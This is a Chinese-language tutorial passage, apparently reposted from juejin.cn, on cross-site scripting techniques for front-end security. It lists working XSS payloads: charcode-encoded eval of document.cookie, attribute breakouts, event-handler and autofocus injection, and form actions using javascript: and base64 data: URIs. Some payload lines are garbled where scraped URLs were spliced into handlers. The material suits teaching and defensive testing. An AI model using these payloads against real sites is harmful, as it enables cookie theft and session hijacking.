Web前端开发中的黑客技术以及安全技术(共七种(3)

4.1.4 执行代码转换成unicode编码,再通过eval执行

<img src=http://juejin.cn/post/6900861207561895950/N onerror ="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))"> 复制代码

Web前端开发中的黑客技术以及安全技术(共七种

4.2. HTML标签属性中

很多时候输出发生在HTML属性, 例如

Web前端开发中的黑客技术以及安全技术(共七种

,再比如

4.2.1 自行闭合双引号构造闭合标签:

"><img src='http://juejin.cn/post/6900861207561895950/a' onerror=http://juejin.cn/post/6900861207561895950/alert(document.domain)> "><svg/onload=http://juejin.cn/post/6900861207561895950/alert(document.domain)> <a href=http://juejin.cn/post/6900861207561895950/abcd.jsp?ttt=1000 onmouseover=http://juejin.cn/post/6900861207561895950/alert(123) y=2016>2</a> <a href="" onclick=eval(&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41)>aaa</a> <a href="">aaa</a> 复制代码

构造on事件:

" onmouseover=http://juejin.cn/post/6900861207561895950/alert(document.domain)> 复制代码

增加注释符//:

" onmouseover=http://juejin.cn/post/6900861207561895950/alert(document.domain)> // 复制代码

利用html5 autofocus功能进行XSS:

aaaaa" autofocus onfocus="location=this.name" aaa"> 复制代码

很多时候遇到的场景并不会这么简单, 程序员会将双引号 " 过滤为实体 例如

<input type="text" value="烧饼&quot; onclick=&quot;alert(1)" />

Form标签闭合引号:

<form method=Post action=http://juejin.cn/post/6900861207561895950/abcd.jsp?ttt=1000 onmouseover=prompt(962613) y=&enddate=2016 > #action后面直接空格   <input type='text' value=0>   <input type='submit' value='GO'> </form> <form method=Post action=javascript:alert('xss') >   <input type='text' value=0>   <input type='submit' value='GO'> </form> <form method=Post action=1 onmouseover=http://juejin.cn/post/6900861207561895950/alert(123) bbb=111 >   <input type='text' value=0>   <input type='submit' value='GO'> </form> <form method=Post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">   <input type='text' value=0>   <input type='submit' value='GO'> </form> 复制代码

4.2.2 两个常见的输出例子

<HTML标签 onXXXX="...[输出在这里].."><a href="javascript:[输出在这里]">xxxx </a> 复制代码

实际上, onxxxx="[输出]" 和 href="javascript:[输出]" 与 没有太大区别。因为[输出]所在的地方,都是javascript脚本。

但是 如果被过滤,往往没有太好的办法。而上面这2种情况,则有一个很好的办法绕过过滤。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zyjdds.html